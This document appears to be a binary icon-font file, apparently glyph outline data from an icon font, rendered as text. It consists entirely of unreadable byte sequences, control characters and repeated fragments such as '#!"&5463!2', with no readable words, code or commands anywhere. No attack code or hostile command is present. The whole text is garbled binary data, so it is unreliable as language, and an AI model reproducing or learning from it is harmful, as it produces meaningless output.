.    M-3s    "'&4?62	623
.

.

2



2-
.



2

w

2        /  4&#!"3!26#!#!"&54>5!"&5463!2 @^B  & &  B^^B@B^ @MB^%Q=&&<P&^B@B^^            + 3  "&5463!2#3!2654&#!"3#!"&=324+"3B^^B@B^^B@`^BB^p ^BB^^B@B^`@S`(88(``             '  $4&"2%4&#!"3!26#!"&5463!2&4&&4@^BB^^B@B^f4&&4&@B^^B@B^^            /  $4&"2%4&#!"3!264+";%#!"&5463!2/B//B   0L4 4LL4 4L_B//B/@M    4LL4 4LL            >& $$ (r^aa(^aa        ! C  #!"&54>;2+";2#!"&54>;2+";2 pPPpQh@&&@j8(PppPPpQh@&&@j8(Pp@PppPhQ&&j (8pPPppPhQ&&j (8p         ! C  +"&=46;26=4&+"&5463!2+"&=46;26=4&+"&5463!2 Qh@&&@j8(PppPPpQh@&&@j8(PppPPp@hQ&&j (8pPPppP@hQ&&j (8pPPpp     @@  	   # + 3 ; G  $#"&5462 "&462 "&462#"&462 "&462 "&462 "&462#"&54632K54LKj=KjKKjKjKKjL45KKjK<^^^KjKKjppp\]]\jKL45KjKKjKujKKjK4LKjKK^^^jKKjKpppr]]\            $$  ^aaQ^aa      ,  #"&5465654.+"'&47623  #>bqb&4  4&ɢ5"		#D7euU6 & 4 & m       1 X   ".4>2".4>24&#""'&#";2>#".'&547&5472632>3=T==T==T==T=v)GG+v@bRRb@=&\Nj!>3lkik3hPTDDTPTDDTPTDDTPTDD|xxXK--K|Mp<#	)>dA{RXtfOT# RNftWQ          ,  %4&#!"&=4&#!"3!26#!"&5463!2!2 8(@(88((88((8\@\\@\\(88(@(88(@(88@\\\\       u  ' E  4#!"3!2676%!54&#!"&=4&#!">#!"&5463!2!2325([5@(\& 8((88((8 ,9.+C\\@\ \6Z]#+#,k(88(@(88(;5E>:5E\\\ \1.           $ 4 @  "&'&676267> "&462"&462 .  > $$ n%%/02
KjKKjKKjKKjKfff^aayy/PccP/jKKjKKjKKjKffff@^aa        $ 4 @  &'."'.7>2 "&462"&462 .  > $$ n20/%7KjKKjKKjKKjKfff^aa3/PccP/y	jKKjKKjKKjKffff@^aa         + 7   #!"&463!2 "&462"&462 .  > $$ &&&&KjKKjKKjKKjKfff^aa4&&4&jKKjKKjKKjKffff@^aa       # + 3 C  54&+54&+"#";;26=3264&"2 4&"2$ #"'##"  3!2@@KjKKjKKjKKjKܒ,gjKKjKKjKKjKXԀ,,          # / ; G S _ k w       +"=4;27+"=4;2'+"=4;2#!"=43!2%+"=4;2'+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;54;2!#!"&5463!2```` ````````````` `` `` p` K55KK55Kp````````````````````````` 5KK55KK     @   * V  #"'.#"63232+"&5.5462#"/.#"#"'&547>32327676R?d^7ac77,9xm#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	h[ 17q%q#::#5KKu't#!X:	%#+=&>7p   @    * 2 F r  56565'5&'.	#"32325#"'+"&5.5462#"/.#"#"'&547>32327676@ͳ82.,#,fk*1x-!#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	e`vo8t-	:5	[*#::#5KKu't#!X:	%#+=&>7p    3  $  	"/&47	&4?62#!"&=463!2I.

2

w

2


-@).

2



2

.
-@@     -S  $ 9  %"'&4762		/.7>	"/&47	&4?62i2

.



2

w
E>u>.

2

w

2


2





2

ww
!h.

2



2

.
       ;  #"'&476#"'&7'.'#"'&476'  )'s"+5+@ա'  )'F* 4 *Er4M:}}8GO* 4 *     ~ 
 (  -/'	#"'%#"&7&67%632B;><V??V --C4
<B=cB5!%%!b 7I))9I7        	#"'.5!".67632y(
#
  ##@,(
)        8  !	!++"&=!"&5#"&=46;546;2!76232-SSS

		 SS``		

          K  $4&"24&"24&"27"&5467.546267>5.5462 8P88P88P88P8P88P4,CS,4pp4,,4pp4,6d7AL*',4ppP88P8P88P8HP88P8`4Y&+(>EY4PppP4Y4Y4PppP4Y%*<O4Y4Ppp        % @ \ h t   	"'&4762"&5462&#!"&463!2#"'&'7?654'7&#"&'&54?632#!"&463!2"&5462"'&4762 		 

	@USxySR#PT('#TUSxySN@ 		 

		 		

 		
3@xSSUO#'(V^'(PVvxSSUi @ 		

 		
   `     <  +"&=46;2+"&=467>54&#"#"/.7!2<'G,')7N;2]=A+#H0PRH6^;<T%-S#:/*@Z}

>h         .  %#!"&=46;#"&=463!232#!"&=463!2& &&@@&&&@&& && &&&&&&&&f&&&&   b      #!"&=463!2#!"&'&63!2 & && &' '%@% &&&& && &&    k % J  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%Sin1KXL7觧*		#&		*@jC?.>!&1'\%Awc8^;:+<!P        % I  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%PlnEcdJ觧*		#&		*-@jC?.>!&1'\%AwcBiC:D'P           %!	#!"&'&6763!2P &: &?&: &?5"K ,)""K ,)      h  #".#""#"&54>54&#"#"'./"'"5327654.54632326732>32YO)I-D%n "h.=T#)#lQTv%.%P_	%	%_P%.%vUPl#)#T=@/#,-91P+R[Ql#)#|''
59%D-I)OY[R+P19-,# #,-91P+R[YO)I-D%95%_P%.%v      ' 3   !2#!"&463!5& =462   =462 &546  &&&& &4&r&4& @&4&&4&G݀&&&&f    s   C K  &=462	#"'32 =462 !2#!"&463!5&'"/&4762%4632e*&4&i76`al&4& &&&& }n

R



R
zfOego&&5`3&&&4&&4&D

R



R
z v        "  !676"'.5463!2@@w^Cct~55~tcC&&@?J V|RIIR|V &&           # G  !!%4&+";26%4&+";26%#!"&546;546;2!546;232@@ @@L44LL4^B@B^^B@B^4L   N 4LL4 4L`B^^B``B^^B`L      L   4&"2%#"'%.5!#!"&54675#"#"'.7>7&5462!467%632 &4&&4@ o& &}c ;pG=(8Ai8^^.&4&&4&`	`fs&& jo/;J!#2
 KAE*,B^^B!`	   $   -   4&"2#"/&7#"/&767%676$!28P88PQr	@U	@
{`PTP88P8P`
	@U	@rQ           !6'&+!!!!2Ѥ8̙e;<*@8 !GGGQII            %764'	64/&"2  $$ f3f4:4^aaf4334f:4:^aa         %64'&"	2  $$ :4f3f4F^aa4f44f^aa         764'&"27	2  $$ f:4:f4334^aaf4:4f3^aa            %64/&"	&"2  $$ -f44f4^aa4f3f4:w^aa   @    7!!/#35%!'!%j/djg2|855dc b    @   !	!%!!7!FG)DH:&HdS)         U   4&"2#"/ $'#"'&5463!2#"&=46;5.546232+>7'&763!2&4&&4f]wq4qw]	`dC&&:FԖF:&&Cd`4&&4&	]]	`d[}&&"uFjjFu"&&y}[d       #  2#!"&546;4   +"&54&" (88(@(88( r&@&Ԗ 8((88(@(8@&&jj           ' 3   "&462 &         .  > $$  Ԗ>aX,fff^aaԖԖa>TX,,~ffff@^aa          /  +"&=46;2+"&=46;2+"&=46;28((88((8 8((88((8 8((88((8 (88((88((88((88((88((88           /  +"&=46;2+"&=46;2+"&=46;28((88((88((88((88((88((8 (88((88(88((88(88((88        5 E  $4&"2%& '&;26%&.$'&;276#!"&5463!2 KjKKjf	
\
w@wwwjKKjK"Gܚf


	@www             $64'&327/a^  !  ^aaJ@%%	  65   /  	64'&"2	"/64&"'&476227 <ij6j6u%k%~8p8}%%%k%}8p8~%<<ij4j4t%%~8p8~%k%%%}8p8}%k          54&#!"3!26#!"&5463!2 &&&& w@www@&&&&:@www        /  #!"&=463!24&#!"3!26#!"&5463!2@^BB^^B@B^www@w@@2@B^^BB^^ww@w        +#!"'&?63!#"'&762(@	@(@>@%%%         !232"'&76;!"/&76 ($>(		 J &%       $  %64/&"'&"2#!"&5463!2ff4-4ff4fw@wwwf4f-f4@www         /  #5#5'&76	764/&"%#!"&5463!248`# \P\w@www4`8#@  `\P\`@www        )  4&#!"273276#!"&5463!2 & *f4' w@www`&')4f*@www     % 5  	64'&"3276'7>332#!"&5463!2`'(wa8!
,j.(&w@www`4`*'?_`ze<	bw4/*@www           - .  6  $$     (r^aaO (_^aa       -  "'&763!24&#!"3!26#!"&5463!2yB((@ w@www]#@## @@www       -  #!"'&7624&#!"3!26#!"&5463!2y((@B@u@ w@www###@@@www       -   '&54764&#!"3!26#!"&5463!2@@####@ w@wwwB((@@www      `  %#" '#"&=46;&7#"&=46;6 32/.#"!2#!!2#!32>?6#!"'?_BCbCaf\	+~2	

	}0$q90r pr%Dpu       ?  #!"&=46;#"&=46;54632'.#"!2#!!546;2Da__	g	
*`-Uh1߫}
	$^L    4   b  +"&=.'&?676032654.'.5467546;2'.#"ǟB{PDg	q%%Q{%P46'-N/B).ĝ9kC<Q7>W*_x*%K./58`7E%_	,-3
cVO2")#,)9;J)"!*
#VD,'#/&>AX      >  ++"' '&=46;267!"&=463!&+"&=463!2+32Ԫ$
		pU9ӑ@/*fo	VRfqf=S     E  !#"&5!"&=463!5!"&=46;&76;2>76;232#!!2#![ 

%
)
	"JgUhBW&WXhUg        8   4&#!!2 #!!2#!+"&=#"&=46;5#"&=46;463!2j@jog|@~vvu            n  #467!!3'##467!++"'#+"&'#"&=46;'#"&=46;&76;2!6;2!6;232+32QKt# #FNQo!"դѧ!mY

Zga~bm]

[o"U+, @h
h@@Xhh@   8  3 H \  #5"'#"&+73273&#&+5275363534."#22>4.#2>ut3NtRP*Ho2
Lo@!R(Ozh=,G<X2O:&D1A.1G$<2I+A;"B,;&$LGlF/ 3D;a$8$".!3!
.          3!#!"&5463! 8( 8((88(  h (8(88(@(8         ( 8 H  !!#!"&5463!54&#!"3!2654&#!"3!2654&#!"3!26(D 8((88( 8@@@$(88(@(8(8 @@@@@@   " }  
 $ B R  3/&5##"'&76;46;232!56?5"#+#5!76;5!53'#3!533H

Dq		x7	K//KFh/"		@`Z		sYwjjjjj     " }  
 $ 4 R  %3/&5##"'&76;46;232!53'#3!533!56?5"#+#5!76;5H

K//KFq		x7	h/"		@`jjjjjZ		sY
w  "     ) 9 I Y  %#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2

 @@  `		@`     "     ) 9 I Y  #!"&=463!2%#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2   

@@ r		@`r    "   
 $ C V  %4&#"326#"'&76;46;232%#"'&'73267##"&54632!5346=#'73BX;4>ID2F

8PuE>.'%&TeQ,jm{+>R{?jJrL6V		@`7>wmR1quWei/rr:Vr     "   
 $ 7 V  4&#"326#"'&76;46;232!5346=#'73#"'&'73267##"&54632BX;4>ID2F

+>R{8PuE>.'%&TeQ,jm{?jJrL6		@`rr:Vr3>wmR1quWei    @   \  %4&#"326#!"&5463!2+".'&'.5467>767>7>7632!2 &%%&&&& &7.'	:@$LBWM{#&$h1D!		.I/!	Nr&&%%&&&&V?, L=8=9%pEL+%%r@W!<%*',<2(<&L,"r       @    \  #"&546324&#!"3!26%#!#"'.'.'&'.'.546767>; &%%&&&& &i7qN	!/I.		!D1h$&#{MWBL$@:	'.&&%%&&&&=XNr%(M&<(2<,'*%<!W@r%%+LEp%9=8=L       	   + = \ d       %54#"327354"%###5#5#"'&53327#"'#3632#"'&=4762#3274645"=424'.'&!  7>76#'#3%54'&#"32763##"'&5#327#!"&5463!2BBPJNC'%!	B?)#!CC $)54f"@@
B+,A

A+&+A
ZK35N #J!1331CCC $)w@www2"33FYF~(-%"o4*)$(*	(&;;&&9LA38334S,;;,WT+<<+T;(\g7x:&&::&&<r%-@www       	   + = [ c }     #"'632#542%35!33!3##"'&5#327%54'&#"5#353276%5##"=354'&#"32767654"2 '.'&547>76 3#&'&'3#"'&=47632%#5#"'&53327''RZZ:kid YYY.06	62+YY-06	R[!.'CD''EH$VVX::YX;:Yfyd/%jG&DC&&CD&O[52.[$C-D..D^^* ly1%=^I86i077S3
$EWgO%33%OO%35	EEFWt;PP;pt;PP;pqJgTFQ%33&PP%33%R7>%3!+}   {  '  +"&72'&76;2+"'66;2U
&
	(P

*'eJ."-dZ-n -         ' 7  4'&+";27&+";276'56#!"&5463!2~}		7e 	۩w@www"$Q#'!#@www       
   I  -22#!&$/.'.'.'=&7>?>369II ! '	$ !01$$%A'	$ ! g	
\7@)(7Y
	
 \7@)(7Y
   @       	'5557	,VWQV.RW=?l%l`~0            !#!#%777	5!	R!!XCCfff݀# `,{{{`          O g   4&"2  &6 $"&462$"&62>7>7>&46.'.'.  '.'&7>76  Ԗ HR6L66LGHyU2LL2UyHHyU2LL2UyHn
X6X

XX
ԖԖH6L66L6L2UyHHyU2LL2UyHHyU2Ln6X

XX

           2#!"&5463 4&"2$4&"2ww@ww||||||w@www|||||||       	   !3	37!  $$  n6^55^h
^aaM1^aa    P 
  * C g  '.676.7>.'$7>&'.'&'? 7%&'.'.'>767$/u5'&$I7ob?K\[zH,1+.@\7<?5\V,$Vg.GR@ 7U,+!	#	"8$}{)<?L RR;kr,yE[z#	/1
"#	#eCI0/"5#`	"84~&p)4	2{H-.%W.L>       ' : Y i  4&67&'&676'.'>7646&' '7>6'&'&7>7#!"&5463!2PR$++'TJXj7-FC',,&C."!$28h/"	+p^&+3$i0(w@www+.i6=Bn\C1XR:#"'jj8Q.cAj57!?"0D$4"P[&2@www     D   "  %.5#5>7>;!!76PYhpN!HrD0M C0N#>8\xx: W]oW-X45       /  %'#.5!5!#"37>#!"&5463!2p>,;$4
 5eD+WcEw@wwwK()F
,VhV^9tjA0/@www  @     #"'&76;46;23

	 &

         ++"&5#"&7632	^

c &

     @    #!'&5476!2  &

^

b	        '&=!"&=463!546
 &

	
     q  & 8  #"'&#"#"5476323276326767q'T1[VA=QQ3qqHih"-bfGw^44O#A?66%CKJA}}  !"䒐""A$@C3^q|z=KK?6lk)           %!%!VVuuu^-m5w}n      ~    7 M [   264&"264&"2"&546+"&=##"&5'#"&5!467'&766276#"&54632    *<;V<<O@-K<V<<+*<J.@kclGH__H<+*<<*+<    <*R+<<+*<f.@+<<++<<+@.7uu7**R+<<++;; 	      "%3I  #5472&6&67><&4'>&4.'.'.'.'.'&6&'.'.6767645.'#.'6&'&7676"&'&627>76'&7>'&'&'&'&766'.7>7676>76&6763>6&'&232.'.6'4."7674.'&#>7626'.'&#"'.'.'&676.67>7>5'&7>.'&'&'&7>7>767&'&67636'.'&67>7>.'.67	\

	U7	
J#!W!'	"';%
k	)"	
	'

/7* 		I	,6
*&"!O6*O $.(	*.'
.x,	$CN	
		*	
6		
7%&&_f&
",VL,G$3@@$+
"


V5 3"	""#dA++
y0D-%&n4P'A5j$9E#"c7Y
6"	&
8Z(;=I50' !!eR

"+0n?t(-z.'<>R$A"24B@(	~	9B9,	*$				<>	?0D9f?Ae 	.(;1.D	4H&.Ct iY% *	
7J	 <W0%$	
""I!*D	 ,4A'4J"	.0f6D4pZ{+*D_wqi;W1G("%%T7F}AG!1#% JG3        ' . 2 > V b  %&#'32&'!>?>'&' &>"6&#">&'>26 $$  *b6~#= XP2{&%gx| .W)oOLOsEzG<	CK}E	$MFD<5+
z^aa$MWM1>]|YY^DեA<KmE6<"@9I5*^aa       > ^  4./.543232654.#"#".#"32>#"'#"$&547&54632632':XM1h*+D($,/9p`DoC&JV<Z PA3Q1*223IoBkែhMIoPែhMIoP2S6,M!"@-7Y.?oI=[<%$('3 -- <-\%FuPoIMhPoIMh    ,  # ? D  76&#!"7>;267676&#!"&=463!267
#!"'&5463!26%8#!&&Z"M>2!	^I7LRx_@>MN""`=&&*%I},
		L7_jj9          /  %4&#!"3!264&#!"3!26#!"&5463!2  &&&&  &&&&         1 9  #"'#++"&5#"&5475##"&54763!2 "&462 8(3-	&B..B&	-3(8 IggI `(8+Ue&.BB.&+8(kk`      % -  "&5#"&5#"&5#"&5463!2 "&462 8P8@B\B@B\B@8P8pPPp@`(88(`p.BB.0.BB.(88(Pppͺ      !  %>&'&#"'.$ $$ ^/(V=$<;$=V).X^aaJ`"(("`J^aa    ,   I   4."2>%'%"/'&5%&'&?'&767%476762%6[՛[[՛oܴ
 
		$$	"	$$		՛[[՛[[5`

^^

2``2

^^

`     1  %#"$54732$%#"$&546$76327668ʴhf킐&^zs,!V[vn)	6<ׂf{z}))Ns3(  @   +   4&#!"3!2#!"&5463!2#!"&5463!2@& && f&&&&@& && &4&&4& @&&&& && &&    ` B H   +"/##"./#"'.?&5#"&46;'&462!76232!46 `&C6@Bb03eI;:&&&4L4&F
Z4&w4) ''5r&4&&4&&4    }G   #&/.#./.'&4?63%27>'./&'&7676>767>?>%6})(."2*& @P9A
#sGq]
#lh<*46+(	
<5R5"*>%</
 '2@ 53*9*,Z&VE/#E+)AC
(	2k<X1$:hI(B"	!:4Y&>"/	+[>hy
	   K 
  ! / U i   %6&'&676&'&6'.7>%.$76$% $.5476$6?62'.76&&'&676%.76&'..676#"NDQt	-okQ//jo_		%&JՂYJA-.--
9\DtT+X?*<UW3'	26$>>W0{"F!"E ^f`$"_]\<`F`FDh>CwlsJ@;=?s:i_^{8+?`)O`s2RDE58/K       r 	    #"'>7&4$&5mī"#̵$5$"^^W=acE*c      z  k  ./ "&4636$7.'>67.'>65.67>&/>z X^hc^O<q+f$H^XbVS!rȇr?5GD_RV@-FbV=3!G84&3Im<$/6X_D'=NUTL;2KPwtPt= 

&ռ,J~S/#NL,8JsF);??1zIEJpqDIPZXSF6\?5:NR=;.&1          +!"&=!!%!5463!2sQ9Qs***sQNQsBUwwUBF H CCTww      % 1   #"&=!"&=463!54632.  6  $$ 		`?(r^aa		
(_^aa         % 1  #!#"'&47632!2.  6  $$ 		@	`(r^aa
?		@	(_^aa        /  #"'&476324&#!"3!26#!"&5463!2 &@& @ w@www&@B@&@@www          "&462  >& $$  Ԗ*(r^aaԖԖ (^aa       ]  6  #"$547 32>%#"'!"&'&7>32'!!!2f:лѪz~u: ((%`V6B^hD%i(]̳ޛ	*>6߅r#!3?^BEa߀#9       # 3  6'&632#"'&'&63232#!"&5463!2
Q,&U#+' ;il4L92<D`w@www`9ܩ6ɽ]`C477&@www       D  +"&5#"'&=4?5#"'&=4?546;2%6%66 546;2
	
	wwwwcB
G]B
Gty]ty      # 3 C  #!+"&5!"&=463!46;2!24&#!"3!26#!"&5463!2@`@`^BB^^B@B^www@w@`@`2@B^^BB^^ww@w        ' / ? P  +5#"&547.467&546;532!764'!"+32#323!&ln@:MM:@nY*Yz--zY*55QDDU9pY-`]]`.X /2I$	t@@/!!/@@3,$,3$p$00&*0&&!P@     R V  2#"&/#"&/#"&546?#"&546?'&54632%'&54632763276%>S]8T;/M77T</L7=Q7,i<R7,5T</L666U;/M5<U<,i6iQ=a!;;V6-j;V6-5	P=/L596Q</L5<U6-i;V7,7O;-I68i;k         ) I  2#!"&5463#9"'.'.'3!264&#!"2>7%>ww@ww!"5bBBb//*
8(@(87)(8=%/'#?w@www#~$EE y &L(88e):8(%O r		

		O           ? G Q a q  47&67>&&'&67>&"&#6$32#"#"'654   $&6  $6&$ CoL.*KPx.* 
iSƓi
7J?~pi{_Я;lLUZ=刈刈_t'<Z :!
	@!
j`Q7$ky, Rfk*4LlL=Z=刈           &$&546$7%7&'5>]5%w  &P?zrSF!|         & 0  	##!"&5#5!3!3!3!32!546;2!5463)
)     ;));;)) &&        &@@&&&    	   6   $&727 "'%+"'&7&54767%&4762֬>4Pt+8?::
		
::AW``EvEEvE<."e$IE&O&EI&{h.`  m  "  &#"& '327>73271[>+)@(]:2,C?*%Zx/658:@#N
C=E(oE=W'c:     #  !#"$&6$3 &#"32>7! ڝyy,{ۀہW^F!LC=y:yw߂0H\R%          " N ^   '&76232762$"&5462"&46274&"&'264&#"'&&#"32$54'>$ $&6$ G>>0yx14J55J5J44J5Fd$?4J55%6E#42F%$fLlLq>>11J44%&4Z%44J54R1F$Z-%45J521Z%F1#:ʎ 9LlL          # Q a  "'&7622762%"&5462"&546274&#"&'73264&#"'&&#"32654'>#!"&5463!255**.>.-@-R.>.-@-<+*q6- -- 0<o,+< 3w@www55**.. -- .. --G*<N' ,-@-+*M <*2zz1@www      0 <  754&""&=#326546325##"&='26  $$ bZtt&sRQsZ<tsQ^aa>OpoOxzRrqP6z~{{Prr^aa    ]  0  54&"#"&5!2654632!#"&57265&<T<H<T<H<T<8v*<<*
+;;+l:=:*;;*         %!!"!!26#!"&5463!2@ ]]@w@www] @@www         	     % )  3!!#335!!5!5!%#!!5!5!%#HH{RHH{GG{)qGRRqRRq     	  # 0 @   #"'632 #"'632 &#"7532&#"#7532#!"&5463!2L5+*5L5+*5~}7W|3B}}JC7=}w@wwwDZQ[1N:_)i$)@www   
 )	             6.#&#"'&547>'&#".'&'#"&5467%&4>7>3263232654.547'654'63277.'.*#">7?67>?>32#"'7'>3'>3235?KcgA+![<E0y$,<'.cI
	,# '!;7$=ep	//7/
D+R>,7*
2(-#=
	/~[(D?G  |,)"#+)O8,+'6	y{=@0mI#938OAE`
-
)y_/FwaH8j7=7?%a	%%!?)L
J9=5]~pj
 %(1$",I $@((
+!.S		-L__$'-9L	5V+	
	6T+6.8-$0+t|S1       6 ]   &#"'&#"67>76'&'&#"67>32764.#"#.32>67>7 $&54>7>7>7rJ@"kb2)W+,5/1		#

Z
-!$IOXp7sLCF9vz NAG#/ 5|Հ';RKR/J#=$,9,+$UCS7'2"1
 !/
,
/--ST(::(ep4AM@=I>".)xΤlsY|qK@
%(YQ&NEHv~        < Z x  '#"&5467&6?2?'&"/.7.546326#"&'&/7264/7'764&"'?>>32.AUpIUxYE.A%%%h%%hJ%D,FZxULsTgxUJrVD%hJ%@/LefL.C%Jh%CVsNUxϠ@.FZyUHpVA%h&%%%Ji%CWpIUybJ/Uy^G,D%Jh%@UsMtUC%hJ%C-Kfy        E X [ _ g j    &/&'.''67>7>7&'&'&'>76763>7>#&'&'767672'%'7'+"&'&546323267>7%#"'4'6767672,32,+DCCQLDf'
%:/d
B	4@}&!0$?Jfdf-.=6(:!TO?
!IG_U%
.k*.=;	5gN_X	"
##
292Q41*6nA;|BSN.	%1$6	$nk^        ' 7 G W g w       2+"&5463#!"&5463!254&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";26#"&=! B^^BB^^B:FjB^8((`(   `(8^BB^^B@B^"vE j^B (8(`( 8(         / ? O _ o         /?  2#!"&5463;26=4&+";26=4&+";26=4&+";26=4&+"54&+";2654&+";2654&+";2654&+";2654&+";2654&#!"3!2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";26@&& &&@@@@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@@ &&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @`  '  	"&5#"&5&4762!762$"&462B\B@B\BOpP.BB..BB.8$PO広      3 C Q  #".54>32#".546322#"&#"#"54>%".54>32%2#"&54>&X=L|<&X=M{<TMLFTMLFv"?B+D?BJpH=X&<{M=X&<|dMTFLMTF(<kNsI<kNsPvoJPwo/s.=ZYVӮvNk<JsNk<IshwPJovPJo  @     +"&7.54>2r_-$$-_rUU%&&5%ő            '-"'.546762@FF$@B@$.&,&.]]|q #<<# (B  B               B  %'-%'-'%'-"'%&'"'%.5467%467%62@ll@ll,@GG&!@@@@@@!&+#+#6#+$*`:p:px
p=`$>>$&@&@

@&p@       	  & . A  !!"!&2673!"54 32!%!254#!5!2654#!%!2#!8Zp?vdΊens6(N[RWu?rt1SrF|iZ@7މoy2IMC~[R yK{T:         % , A G K  2#!"&5463!!2654'654.#532#532"&5!654&#"327#2#>!!ww@ww~uk'JTMwa|
DH>I1qFj?w@wwwsq*4p9O*¸Z^qh LE
"(nz8B
M         ' ?   "&462 4&#"'.'324&#"3267 ##"&/6326 32 .ʏhhMALR vGhг~~KyO^ʏʏВ*LM@!<I~~t\0          C M   4&"2 #"&'676&/632#!"&=3267%2654&#"&#"%463!2"&4632rqqtR8^4.<x3=RRw@w_h
YӖ	K>שwwȍde)qrOPqȦs:03=<x!m@wwE\xgӕє%wwdȎ  V   - < K \  %.'.>7'.?67'67%'>&%'7%7./6D\$>	"N,?a0#O1G9'/P(1#00($=!F"9|]"RE<6'o9%8J$\:\HiTe<?}V#oj?d,6%N#"
HlSVY]C=    @     C   4&"2!.#!" 4&"2+"&=!"&=#"&546;>3!232^^^Y	 	^^^`pp pp`]ib bi]~^^^e^^^ PppPPppP]^^]       3 ; E M  2+"&=!"&=#"&546;>;5463!232 264&"!.#!" 264&" ]`pp pp`]ibbi^^^dY	 	!^^^]@PppP@@PppP@]^^] ^^^e^^^      3  $#!#!"&5467!"&47#"&47#"&4762++&2
$$
2&&&4&&Z4&&##&&4&4&44&m4&m      + D P  4'&#"32763232674'&!"32763 3264'&$#"32763232> $$ g* o`#ə0#z#l(~̠)-g+^aaF s"	+g(*3#!|#/IK/%*%D=)[^aa        	!!!'!!77! ,/,-a/G      	 t  % / ; < H T b c q         %7.#"32%74'&"32765"/7627#"5'7432#"/7632#"5'7432#"&5'74632	#"/6327#"/6327#"/46329"&/462"&/>21"&/567632#!.547632 632
		*
			X		

^`		

^b	c
	fuU`59u


4J
	l~		~	F	
	2		m|O, 	
ru|	u
"           ) 9    $7 $&=  $7 $&=  $7 $&=   $&=46w`ww`ww`wb` VTEvEEvETVTEvEEvET*VTEvEEvET*EvEEvEEvEEv         # ^ c t    #!"&5463!2!&'&!"&5!632#"&'#"/&'&7>766767.76;267674767&5&5&'67.'&'&#3274(8((88((`x
c`(8 !3;:A0?ݫY
	^U	47D$	74U3I|L38wtL0`((88(@(8(D9 8( Q1&(!;
(g-	Up~R2(/{E(Xz*Z%(i6CmVo8            # T  #!"&5463!2!&'&!"&5!3367653335!3#4.5.'##'&'35(8((88((`x
c`(8 iFFZcrcZ`((88(@(8(D9 8( kk"	kkJ	 	!	k          # S  #!"&5463!2!&'&!"&5!%!5#7>;#!5#35!3#&'&/35!3(8((88((`x
c`(8 -Kg
kL#DCJgjLD`((88(@(8(D9 8( jj	jjkkkk            # 8 C  #!"&5463!2!&'&!"&5!%!5#5327>54&'&#!3#32(8((88((`x
c`(8  G]L*COJ?0R\wx48>`((88(@(8(D9 8( jjRQxk!RY            # * 2  #!"&5463!2!&'&!"&5!!57"&462(8((88((`x
c`(8  Pppp`((88(@(8(D9 8( ppp  	          # * 7 J R  5#5#5#5##!"&5463!2!&'&!"&5##5!"&54765332264&"  <(8((88((`x
c`(8 kޑcO"jKKjK`((88(@(8(D9 8( SmmS?M&4&&4            # 9 L ^  #!"&5463!2!&'&!"&5!#"/#"&=46;76276'.'2764'.(8((88((`x
c`(8 6ddWW6&44`((88(@(8(D9 8( .	G5{{5]]$5995           # 3 C  #!"&5463!2!&'&!"&5!2#!"&5463#"'5632(8((88((`x
c`(8 4LL44LL4l			`((88(@(8(D9 8( L44LL44L	
Z
	           # 7 K [  #!"&5463!2!&'&!"&5!>&'&7!/.?'&6?6.7>'(8((88((`x
c`(8 `3333v?`((88(@(8(D9 8( &&-&&?
  '  6  #'.
'!67&54632".'654&#"32eaAɢ/PRAids`WXyzOvд:C;A:25@Ң>-05rn`H(' gQWZc[          
     -  %7'	%'-'%	%"'&54762[3[MN3",""3,3"ong$߆]gn$+)")")"         x # W  #"&#!+.5467&546326$32327.'#"&5463232654&#"632#".#"oGn\u_MK'̨|g?CM7MM5,QAAIQqAy{b]BL4PJ9+OABIRo?z.z
n6'+s:zcIAC65D*DRRD*wyal@B39E*DRRD*             ' / 7     $&6$ 6277&47'  7'"' 6& 6'lLRRZB|RR>dZZ LlLZRR«Z&>«|R     !   $&54$7  >54 '5PffP牉@s-ff`-      c  6721>?>././76&/7>?>?>./&31#"$&(@8!IH2hM>'
)-*h'N'!'Og,R"/!YQG<I *1)
(-O1D+0nz3fwG2'3rd1!sF0o .q"!%GsH8@-!5|w|pgS="B2PJfhGdR 	        ( P ] l y    &$'77&7567'676'"'7&'&'7&47'6767'627''6$ '67'654'7&'7'&'&'7&'5 &$  $6 $&6$ jj:,AAS9bb9R#:j8AܔA,zC9Z04\40Z9C!B;X0,l,0X;B*A8ܔA&#9j`b9S$#R99#&A8A`䇇<Z<䳎LlLfBϬ"129,V<4!!88dpm"BV,92[P*V*P\MC

CM\P*V*P]LD

DL&BV*8*8!f!4<gmpd88!&!8*8*VB Z<䇇䇇LlL        9 E i s   %#"5432#"543275#&#"3254&'.547>54'63&547#5#"=3235#47##6323#324&"26%#!"&5463!2F]kbf$JMM$&N92<Vv;,&)q(DL+`N11MZ
%G&54	#	i<$8&@0H12F1dw@wwwB?@UTZ3%}rV2hD5%f-C#C@,nO	a7.0x2	yRuR/u%6;&$76%$56S@www     D     < H l w  %4#"324&#"32!".5475&5475.546322#654'3%#".535"&#"5354'33"&+32 #"&54632S;<;||w$+|('-GVVG-EznAC?H_`Rb]Gg>Z2&`9UW=N9:PO;:dhe\=R
+)&')-S99kJ<)UmQ/-Ya^"![Y'(<`X;_L6#)|tWW:;X          	#'#3#!"&5463!2)
p*xeשw@www0,\8@www  9    I   #"'#"&'&>767&5462#"'.7>32>4."&'&54>32JrO<3>5-&FD(=Gq@C$39aLL²L4
&)
@]vq#CO!~󿵂<ZK#*Pq.%L²LLarh({w؜\     i  &5467&6747632#".'&##".'&'.'#".5467>72765'./"#"&'&5}1R<2"7MW'$	;IS7@5sQ@@)R#DvTA;
0xI)!:>+<B76:NFcP:SC4rl+r E%.*a-(6%('>)C	6.      >  
  ! - I [   4&#"324&#"3264&#"324&#"326&#"#".'7$4$32'#"$&6$32D2)+BB+)3(--(31)+BB+)4'--'4'#!0>R	HMŰ9ou7ǖD䣣
R23('3_,--,R23('3_,--,NJ
?uWm%        #"'%#"'.5	%&'&7632! ;	`u%"( !]#c)(	            #"'%#"'.5%&'&76	! 	(%##fP_"( !)'+ŉ       4 I   #"$'&6?6332>4.#"#!"&54766$32#!"&=46;46;2 z䜬m
IwhQQhbF*@&('k@z
	
